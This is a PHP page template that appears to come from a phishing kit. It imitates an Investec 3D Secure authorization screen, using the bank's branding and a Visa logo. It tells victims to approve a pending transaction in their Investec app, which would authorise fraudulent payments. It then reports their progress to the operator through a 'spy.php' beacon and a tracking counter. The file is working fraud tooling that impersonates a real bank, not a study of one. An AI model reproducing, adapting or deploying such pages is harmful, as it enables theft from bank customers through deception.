<?php
$bankKey = 'investec';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>3D Secure Authorization</title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
</head>
<body class="b3-page b3-page--modal">

<div class="b3-modal b3-modal--lg">
    <div class="b3-modal-bar">3D Secure Authorization</div>

    <div class="b3-modal-head">
        <div class="b3-modal-brand">
            <?php if ($bankLogoExists) { ?>
            <img src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>" alt="Investec" />
            <?php } else { ?>
            <div class="b3-investec-mark">
                <span class="b3-investec-zebra" aria-hidden="true">IV</span>
                <div class="b3-investec-text">
                    <strong>Investec</strong>
                    <span>Out of the Ordinary</span>
                </div>
            </div>
            <?php } ?>
        </div>
        <div class="b3-scheme">
            <img class="b3-scheme-logo" src="assets/img/card_logo_visa.svg" alt="Visa" style="height:32px;" />
        </div>
    </div>

    <div class="b3-modal-body">
        <h2 class="b3-modal-sub">Purchase Authentication</h2>
        <p class="b3-modal-copy">
            For added security, please open your Investec App and confirm your online transaction now.
            Please note the authentication notification will be sent within 60 seconds.
        </p>

        <p class="b3-modal-continue">
            Just approved the transaction?
            <a class="js-approv-confirm" href="#" data-bank="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>">Tap here to continue to the merchant's site.</a>
        </p>

        <div class="b3-modal-foot">
            <span>
                <a href="#" onclick="return false;">Need Help?</a>
                <span class="muted"> | </span>
                <a href="#" onclick="return false;">Learn more</a>
            </span>
            <a href="wait.php?p=cancel">Exit</a>
        </div>
    </div>
</div>

<script src="res/jq.js"></script>
<?php require __DIR__ . '/includes/approv-confirm-script.php'; ?>
<script>
    $.post('spy.php', { approvview: 1 });
</script>
<?php $m->ctr('APPROV IV'); ?>
</body>
</html>
